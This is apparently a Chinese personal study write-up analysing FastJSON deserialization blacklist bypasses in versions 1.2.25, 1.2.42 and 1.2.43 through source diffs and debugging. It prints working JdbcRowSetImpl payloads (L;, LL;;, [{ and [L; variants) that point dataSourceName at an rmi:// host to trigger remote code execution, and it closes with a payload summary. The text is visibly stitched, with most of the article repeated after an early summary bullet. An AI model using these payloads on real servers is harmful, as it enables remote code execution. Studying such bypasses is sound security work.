代码审计 | FastJSON 反序列化分析:1.2.25 / 1.2.42 / 1.2.43

0 阅读9分钟

代码审计 | FastJSON 反序列化分析:1.2.25 / 1.2.42 / 1.2.43

个人学习记录,记录一下这三个版本的绕过思路和调试过程。 这三个版本有个共同点:都需要 autoTypeSupport=true 才能利用,算是一条贯穿始终的主线。


目录


环境准备

首先是配置 pom.xml,切换到对应的 fastjson 版本:

然后用 maven 下载对应依赖:


1.2.25 —— checkAutoType 机制引入

源码变化对比

1.2.24 和 1.2.25 之间是个比较大的变化,把 24 和 25 的源码对比一下:

之前(1.2.24)是直接 loadClass 来加载、实例化,并触发 Setter 方法。但从 1.2.25 开始,引入了 checkAutoType 检测方法,多了一道安全检查。

为什么要开 autoTypeSupport

改 main 代码,payload 里需要把原本的:

com.sun.rowset.JdbcRowSetImpl

改成加了 L; 的写法:

Lcom.sun.rowset.JdbcRowSetImpl;

同时还需要添加这行代码:

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

如果不写这行(或者设为 false),解析到 @type 的时候会直接报错

com.alibaba.fastjson.JSONException: autoType is not support

这里有个现实问题:autoTypeSupport 默认是关的,正常情况下这个漏洞利用不了。 但部分开发者为了兼容业务需求,会手动开启 autoTypeSupport,或者通过配置文件开启——这是这三个版本绕过能生效的前提条件

调试过程 {#调试过程-125}

调试到检测 @type 的位置,会进入一个 checkAutoType 函数。

调试发现一个关键判断:

转存失败,建议直接上传图片文件

autoTypeSupport: false 时,class 不会被 loadClass 函数赋值,classnull,直接进入抛出异常的判断语句。

所以需要开启:

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

才能让流程继续往下走。

开启之后再调试,autoTypeSupporttrue,开始执行:

TypeUtils.loadClass(typeName, this.defaultClassLoader);

此时 typeName 的值为:

Lcom.sun.rowset.JdbcRowSetImpl;

成功取出我们写的 @type 值:

进入 loadClass 函数后,进入了检测 L; 的判断,把 L; 剥离掉,返回了 com.sun.rowset.JdbcRowSetImpl 作为 newClassName

因为开关是开的,所以返回 classcom.sun.rowset.JdbcRowSetImpl

到此检测函数结束,返回了 class 值:

接下来的流程就和 1.2.24 版本一样了。


1.2.42 —— 双写绕过

payload 变化

maven 切换到 1.2.42 版本,源码下载: repo1.maven.org/maven2/com/…

修改 pom 版本:

对比 1.2.25 和 1.2.42 的 src/main/java/com/alibaba/fastjson/parser/ParserConfig.java,可以发现有了新的检测逻辑。

这个版本的 payload 变成了LL 和双 ;;

payload = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\","
        + "\"dataSourceName\":\"rmi://172.16.250.1:1099/nmpjlh\","
        + "\"autoCommit\":true}";

checkAutoType 里发生了什么

在检测 @type 的地方,checkAutoType 依然存在:

clazz = config.checkAutoType(typeName, null, lexer.getFeatures());

此时 typeName 的值为:

LLcom.sun.rowset.JdbcRowSetImpl;;

进入函数里:

函数里有这几步:

转存失败,建议直接上传图片文件

  1. 一个长度检测,太长或者太短都不行

  2. 一个符号替换,把 $ 换成 .

  3. 一段复杂的哈希计算

看一下此时线程与变量的情况:

typeName 是双 LL 的,进入函数后创建了一个副本叫 className,就变成了单 L

关键代码:

if ((((BASIC ^ className.charAt(0)) * PRIME) ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) {
    className = className.substring(1, className.length() - 1);
}

这段复杂的哈希计算,本质上就是检测首字母是 L、末尾是 ;,成立就剥掉一层

LL;; 进来剥一层变成 L;,用于后续哈希检测。但注意 typeName 没变,还是原始的 LL;;

黑白名单检测

接下来是黑白名单的 hash 检测,用的是剥了一层之后的 className,也就是:

Lcom.sun.rowset.JdbcRowSetImpl;

这个值没有出现在黑名单里,检测通过:

转存失败,建议直接上传图片文件

所以黑白名单没有命中,返回的 classnull,于是进入:

clazz = TypeUtils.loadClass(typeName, ...)

把原始的 LL;; 传进去。

loadClass 的递归剥离

loadClass 里检测到 L 进行剥离:

返回值是 loadClass(单L, classLoader)这里 loadClass 调用的是自身,是一个递归调用

转存失败,建议直接上传图片文件

递归之后再一次剥离 L,现在已经是无 L 的类名了。再次递归时没有检测到 L,退出递归:

转存失败,建议直接上传图片文件

最终返回了无 LLclass 值:

到此检测函数结束,class 最终以无 LL 的形式进入其他判断:

转存失败,建议直接上传图片文件

接下来的流程就和 1.2.24 版一样了——反射调用 Setter 方法,存储 RMI 地址,connect 连接地址执行 RCE。


1.2.43 —— [{ 绕过

LL;; 被修了

源码下载: repo1.maven.org/maven2/com/…

maven 修改 pom.xml:

对比一下 1.2.42 和 1.2.43 的源码差异:

1.2.42 的逻辑是:不管你里面还有没有 L,只要符合 L; 格式就剥掉一层,然后拿去跑黑名单。 如果你传 LL...;;,它剥掉一层剩下 L...;,不在黑名单里,安检通过。

1.2.43 的修复方式很直接:如果检测到 LL 开头,直接抛异常

如果想套两层 L(即 LL 开头),直接报异常

这样就直接封杀了 LL...;; 这种 Payload。

新 Payload:[{ {#新-payload}

LL;; 被修了,但 1.2.43 只检验了 LL 的情况。

换一种写法:

String payload = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{"
        + "\"dataSourceName\":\"rmi://172.16.250.1:1099/nmpjlh\","
        + "\"autoCommit\":true}";

格式化来看更清晰:

{ "@type":"[com.sun.rowset.JdbcRowSetImpl" [{ "dataSourceName":"rmi://172.16.250.1:1099/nmpjlh", "autoCommit":true }] }

这是一个畸形 JSON,利用了 FastJSON 解析器对非标准格式的宽松处理,[{ 触发数组类型反序列化,绕过 checkAutoType 的黑名单检测。

调试过程 {#调试过程-143}

判断 @type 后依旧进入 checkAutoType 检测函数,提取的 typeName 值为:

[com.sun.rowset.JdbcRowSetImpl

进入检测函数:

因为 hash 判断里检测的是 LL,而不是 [,所以没有抛出异常,通过了。

后面的黑白名单 hash 循环检测也没有命中,顺利通过 checkAutoType

转存失败,建议直接上传图片文件

进入 loadClass 函数:

进入了判断 [ 的分支:

检测到 [,经过 substring 处理,变成了:

com.sun.rowset.JdbcRowSetImpl

最终 clazz 被赋值为:

[Lcom.sun.rowset.JdbcRowSetImpl;

转存失败,建议直接上传图片文件

这里解释一下:[L...; 是 Java 里数组类型的内部表示方式,[Lcom.sun.rowset.JdbcRowSetImpl; 就是 JdbcRowSetImpl[] 数组类型。

继续往下:

Object var57 = deserializer.deserialze(this, clazz, fieldName);

进入这个函数后,最终数组类型被转换回了:

com.sun.rowset.JdbcRowSetImpl

后续就是调用 Setter 方法了,流程和之前版本一样。

还有个 [L...; 的写法

除了上面那个,还有另一种写法:

String payload = "{\"@type\":\"[Lcom.sun.rowset.JdbcRowSetImpl;\"[{"
        + "\"dataSourceName\":\"rmi://172.16.250.1:1099/nmpjlh\","
        + "\"autoCommit\":true}";

这个传入的 typeName 是:

[Lcom.sun.rowset.JdbcRowSetImpl;

转存失败,建议直接上传图片文件

进入 checkAutoType 后,hash 组合检测的是 LL,而不是 [L,所以同样通过了。

最终检测完的值还是 [Lcom.sun.rowset.JdbcRowSetImpl;,这个值被认为是数组类型,处理方式和上个 payload 完全一样——提取数组里的类名再实例化。

两种写法,效果一样。

核心逻辑:为什么修了 LL;; 却没修 [

这是这块分析里我觉得最值得记录的一个问题。

两者走的是完全不同的代码路径。

LL;; 的绕过路径:

checkAutoType → 哈希剥一层 L; → 黑名单没命中 → loadClass → 递归剥 L; → 返回真实类

[{ 的绕过路径:

checkAutoType → typeName 以 [ 开头 → 进入数组类型分支 → 根本没走黑名单 → loadClass → 剥 [ → 返回真实类

这是两条完全独立的逻辑分支,1.2.43 的开发者只在 L; 路径上打了补丁(检测到 LL 开头就抛异常),对 [ 路径没有做任何修改。

原因一:[ 在 Java 类型系统里是合法字符

Java JVM 内部用 [Ljava.lang.String; 来表示 String[] 数组类型,这是标准的类型描述符。FastJSON 需要支持数组反序列化,所以 [ 开头的类名有合法的使用场景,开发者不敢直接封杀,只能选择性处理,这就留下了空间。

原因二:补丁是"症状式修复",不是"根因式修复"

1.2.43 的修复思路是:我看到你用了 LL,我就封 LL。这是一种见招拆招的打法,没有从根本上重新审视 checkAutoType 的整体设计——即任何能让类名绕过黑名单、最终进入 loadClass 的路径都是危险的。

正确的修法应该是:不管类名经过哪条路径进入 loadClass,加载完之后都要对最终的真实类名再做一次黑名单校验,而不是只在入口处拦截变形字符串。1.2.43 没有做到这一点。

1.2.43 的修复本质上是一个局部拦截,它堵上了 L; 路径上的双写技巧,但 [ 前缀走的是数组类型分支,整体绕过了黑名单防线。checkAutoType 的设计缺陷(只在入口拦截变形字符串,而不在出口校验最终类名)没有得到根治,这为后续版本的绕过埋下了伏笔。


常见 Payload 汇总

版本LL;;[{[L;
1.2.42
1.2.43

三种 payload 写法:

// LL;; 双写(1.2.42 有效,1.2.43 已修)
String payload = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\","
        + "\"dataSourceName\":\"rmi://172.16.250.1:1099/nmpjlh\","
        + "\"autoCommit\":true}";

// [{ 数组绕过(1.2.42 / 1.2.43 均有效)
String payload = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{"
        + "\"dataSourceName\":\"rmi://172.16.250.1:1099/nmpjlh\","
        + "\"autoCommit\":true}";

// [L; 数组绕过变种(1.2.42 / 1.2.43 均有效)
String payload = "{\"@type\":\"[Lcom.sun.rowset.JdbcRowSetImpl;\"[{"
        + "\"dataSourceName\":\"rmi://172.16.250.1:1099/nmpjlh\","
        + "\"autoCommit\":true}";
payload@type后缀
第一个[com.sun.rowset.JdbcRowSetImpl[{
第二个[Lcom.sun.rowset.JdbcRowSetImpl;[{

本质都是靠 [{ 触发,[L; 只是多了一层数组类型描述,两种写法效果一样。


小结

三个版本的攻防脉络:

一、1.2.25 —— checkAutoType 机制引入

  • 源码对比 1.2.24 的变化
  • autoTypeSupport 默认 false 直接报错
  • 开启后,L; 包裹类名即可绕过# 代码审计 | FastJSON 反序列化分析:1.2.25 / 1.2.42 / 1.2.43

个人学习记录,记录一下这三个版本的绕过思路和调试过程。 这三个版本有个共同点:都需要 autoTypeSupport=true 才能利用,算是一条贯穿始终的主线。


目录


环境准备

首先是配置 pom.xml,切换到对应的 fastjson 版本:

然后用 maven 下载对应依赖:


1.2.25 —— checkAutoType 机制引入

源码变化对比

1.2.24 和 1.2.25 之间是个比较大的变化,把 24 和 25 的源码对比一下:

之前(1.2.24)是直接 loadClass 来加载、实例化,并触发 Setter 方法。但从 1.2.25 开始,引入了 checkAutoType 检测方法,多了一道安全检查。

为什么要开 autoTypeSupport

改 main 代码,payload 里需要把原本的:

com.sun.rowset.JdbcRowSetImpl

改成加了 L; 的写法:

Lcom.sun.rowset.JdbcRowSetImpl;

同时还需要添加这行代码:

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

如果不写这行(或者设为 false),解析到 @type 的时候会直接报错

com.alibaba.fastjson.JSONException: autoType is not support

这里有个现实问题:autoTypeSupport 默认是关的,正常情况下这个漏洞利用不了。 但部分开发者为了兼容业务需求,会手动开启 autoTypeSupport,或者通过配置文件开启——这是这三个版本绕过能生效的前提条件

调试过程 {#调试过程-125}

调试到检测 @type 的位置,会进入一个 checkAutoType 函数。

调试发现一个关键判断:

autoTypeSupport: false 时,class 不会被 loadClass 函数赋值,classnull,直接进入抛出异常的判断语句。

所以需要开启:

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

才能让流程继续往下走。

开启之后再调试,autoTypeSupporttrue,开始执行:

TypeUtils.loadClass(typeName, this.defaultClassLoader);

此时 typeName 的值为:

Lcom.sun.rowset.JdbcRowSetImpl;

成功取出我们写的 @type 值:

进入 loadClass 函数后,进入了检测 L; 的判断,把 L; 剥离掉,返回了 com.sun.rowset.JdbcRowSetImpl 作为 newClassName

因为开关是开的,所以返回 classcom.sun.rowset.JdbcRowSetImpl

到此检测函数结束,返回了 class 值:

接下来的流程就和 1.2.24 版本一样了。


1.2.42 —— 双写绕过

payload 变化

maven 切换到 1.2.42 版本,源码下载: repo1.maven.org/maven2/com/…

修改 pom 版本:

对比 1.2.25 和 1.2.42 的 src/main/java/com/alibaba/fastjson/parser/ParserConfig.java,可以发现有了新的检测逻辑。

这个版本的 payload 变成了LL 和双 ;;

payload = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\","
        + "\"dataSourceName\":\"rmi://172.16.250.1:1099/nmpjlh\","
        + "\"autoCommit\":true}";

checkAutoType 里发生了什么

在检测 @type 的地方,checkAutoType 依然存在:

clazz = config.checkAutoType(typeName, null, lexer.getFeatures());

此时 typeName 的值为:

LLcom.sun.rowset.JdbcRowSetImpl;;

进入函数里:

函数里有这几步:

  1. 一个长度检测,太长或者太短都不行

  2. 一个符号替换,把 $ 换成 .

  3. 一段复杂的哈希计算

看一下此时线程与变量的情况:

typeName 是双 LL 的,进入函数后创建了一个副本叫 className,就变成了单 L

关键代码:

if ((((BASIC ^ className.charAt(0)) * PRIME) ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) {
    className = className.substring(1, className.length() - 1);
}

这段复杂的哈希计算,本质上就是检测首字母是 L、末尾是 ;,成立就剥掉一层

LL;; 进来剥一层变成 L;,用于后续哈希检测。但注意 typeName 没变,还是原始的 LL;;

黑白名单检测

接下来是黑白名单的 hash 检测,用的是剥了一层之后的 className,也就是:

Lcom.sun.rowset.JdbcRowSetImpl;

这个值没有出现在黑名单里,检测通过:

所以黑白名单没有命中,返回的 classnull,于是进入:

clazz = TypeUtils.loadClass(typeName, ...)

把原始的 LL;; 传进去。

loadClass 的递归剥离

loadClass 里检测到 L 进行剥离:

返回值是 loadClass(单L, classLoader)这里 loadClass 调用的是自身,是一个递归调用

递归之后再一次剥离 L,现在已经是无 L 的类名了。再次递归时没有检测到 L,退出递归:

最终返回了无 LLclass 值:

到此检测函数结束,class 最终以无 LL 的形式进入其他判断:

接下来的流程就和 1.2.24 版一样了——反射调用 Setter 方法,存储 RMI 地址,connect 连接地址执行 RCE。


1.2.43 —— [{ 绕过

LL;; 被修了

源码下载: repo1.maven.org/maven2/com/…

maven 修改 pom.xml:

对比一下 1.2.42 和 1.2.43 的源码差异:

1.2.42 的逻辑是:不管你里面还有没有 L,只要符合 L; 格式就剥掉一层,然后拿去跑黑名单。 如果你传 LL...;;,它剥掉一层剩下 L...;,不在黑名单里,安检通过。

1.2.43 的修复方式很直接:如果检测到 LL 开头,直接抛异常

如果想套两层 L(即 LL 开头),直接报异常

这样就直接封杀了 LL...;; 这种 Payload。

新 Payload:[{ {#新-payload}

LL;; 被修了,但 1.2.43 只检验了 LL 的情况。

换一种写法:

String payload = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{"
        + "\"dataSourceName\":\"rmi://172.16.250.1:1099/nmpjlh\","
        + "\"autoCommit\":true}";

格式化来看更清晰:

{ "@type":"[com.sun.rowset.JdbcRowSetImpl" [{ "dataSourceName":"rmi://172.16.250.1:1099/nmpjlh", "autoCommit":true }] }

这是一个畸形 JSON,利用了 FastJSON 解析器对非标准格式的宽松处理,[{ 触发数组类型反序列化,绕过 checkAutoType 的黑名单检测。

调试过程 {#调试过程-143}

判断 @type 后依旧进入 checkAutoType 检测函数,提取的 typeName 值为:

[com.sun.rowset.JdbcRowSetImpl

进入检测函数:

因为 hash 判断里检测的是 LL,而不是 [,所以没有抛出异常,通过了。

后面的黑白名单 hash 循环检测也没有命中,顺利通过 checkAutoType

进入 loadClass 函数:

进入了判断 [ 的分支:

检测到 [,经过 substring 处理,变成了:

com.sun.rowset.JdbcRowSetImpl

最终 clazz 被赋值为:

[Lcom.sun.rowset.JdbcRowSetImpl;

这里解释一下:[L...; 是 Java 里数组类型的内部表示方式,[Lcom.sun.rowset.JdbcRowSetImpl; 就是 JdbcRowSetImpl[] 数组类型。

继续往下:

Object var57 = deserializer.deserialze(this, clazz, fieldName);

进入这个函数后,最终数组类型被转换回了:

com.sun.rowset.JdbcRowSetImpl

后续就是调用 Setter 方法了,流程和之前版本一样。

还有个 [L...; 的写法

除了上面那个,还有另一种写法:

String payload = "{\"@type\":\"[Lcom.sun.rowset.JdbcRowSetImpl;\"[{"
        + "\"dataSourceName\":\"rmi://172.16.250.1:1099/nmpjlh\","
        + "\"autoCommit\":true}";

这个传入的 typeName 是:

[Lcom.sun.rowset.JdbcRowSetImpl;

进入 checkAutoType 后,hash 组合检测的是 LL,而不是 [L,所以同样通过了。

最终检测完的值还是 [Lcom.sun.rowset.JdbcRowSetImpl;,这个值被认为是数组类型,处理方式和上个 payload 完全一样——提取数组里的类名再实例化。

两种写法,效果一样。

核心逻辑:为什么修了 LL;; 却没修 [

这是这块分析里我觉得最值得记录的一个问题。

两者走的是完全不同的代码路径。

LL;; 的绕过路径:

checkAutoType → 哈希剥一层 L; → 黑名单没命中 → loadClass → 递归剥 L; → 返回真实类

[{ 的绕过路径:

checkAutoType → typeName 以 [ 开头 → 进入数组类型分支 → 根本没走黑名单 → loadClass → 剥 [ → 返回真实类

这是两条完全独立的逻辑分支,1.2.43 的开发者只在 L; 路径上打了补丁(检测到 LL 开头就抛异常),对 [ 路径没有做任何修改。

原因一:[ 在 Java 类型系统里是合法字符

Java JVM 内部用 [Ljava.lang.String; 来表示 String[] 数组类型,这是标准的类型描述符。FastJSON 需要支持数组反序列化,所以 [ 开头的类名有合法的使用场景,开发者不敢直接封杀,只能选择性处理,这就留下了空间。

原因二:补丁是"症状式修复",不是"根因式修复"

1.2.43 的修复思路是:我看到你用了 LL,我就封 LL。这是一种见招拆招的打法,没有从根本上重新审视 checkAutoType 的整体设计——即任何能让类名绕过黑名单、最终进入 loadClass 的路径都是危险的。

正确的修法应该是:不管类名经过哪条路径进入 loadClass,加载完之后都要对最终的真实类名再做一次黑名单校验,而不是只在入口处拦截变形字符串。1.2.43 没有做到这一点。

1.2.43 的修复本质上是一个局部拦截,它堵上了 L; 路径上的双写技巧,但 [ 前缀走的是数组类型分支,整体绕过了黑名单防线。checkAutoType 的设计缺陷(只在入口拦截变形字符串,而不在出口校验最终类名)没有得到根治,这为后续版本的绕过埋下了伏笔。


常见 Payload 汇总

版本LL;;[{[L;
1.2.42
1.2.43

三种 payload 写法:

// LL;; 双写(1.2.42 有效,1.2.43 已修)
String payload = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\","
        + "\"dataSourceName\":\"rmi://172.16.250.1:1099/nmpjlh\","
        + "\"autoCommit\":true}";

// [{ 数组绕过(1.2.42 / 1.2.43 均有效)
String payload = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{"
        + "\"dataSourceName\":\"rmi://172.16.250.1:1099/nmpjlh\","
        + "\"autoCommit\":true}";

// [L; 数组绕过变种(1.2.42 / 1.2.43 均有效)
String payload = "{\"@type\":\"[Lcom.sun.rowset.JdbcRowSetImpl;\"[{"
        + "\"dataSourceName\":\"rmi://172.16.250.1:1099/nmpjlh\","
        + "\"autoCommit\":true}";
payload@type后缀
第一个[com.sun.rowset.JdbcRowSetImpl[{
第二个[Lcom.sun.rowset.JdbcRowSetImpl;[{

本质都是靠 [{ 触发,[L; 只是多了一层数组类型描述,两种写法效果一样。


小结

三个版本的攻防脉络:

一、1.2.25 —— checkAutoType 机制引入

  • 源码对比 1.2.24 的变化
  • autoTypeSupport 默认 false 直接报错
  • 开启后,L; 包裹类名即可绕过

二、1.2.42 —— 双写绕过

  • 单层 L; 被黑名单 hash 检测识别
  • LL;; 的绕过原理:哈希剥一层给黑名单用,原始双写进 loadClass 递归剥除

三、1.2.43 —— [{ 绕过

  • LL;; 双写被直接封杀
  • 改用 [{ 前缀,走数组类型分支,绕过黑名单

这三个版本的共同点:都需要 autoTypeSupport=true

下一个值得研究的是 1.2.47,这个版本出现了一种不需要开 autoTypeSupport 开关的绕过方式,利用的是缓存机制。

二、1.2.42 —— 双写绕过

  • 单层 L; 被黑名单 hash 检测识别
  • LL;; 的绕过原理:哈希剥一层给黑名单用,原始双写进 loadClass 递归剥除

三、1.2.43 —— [{ 绕过

  • LL;; 双写被直接封杀
  • 改用 [{ 前缀,走数组类型分支,绕过黑名单

这三个版本的共同点:都需要 autoTypeSupport=true

下一个值得研究的是 1.2.47,这个版本出现了一种不需要开 autoTypeSupport 开关的绕过方式,利用的是缓存机制。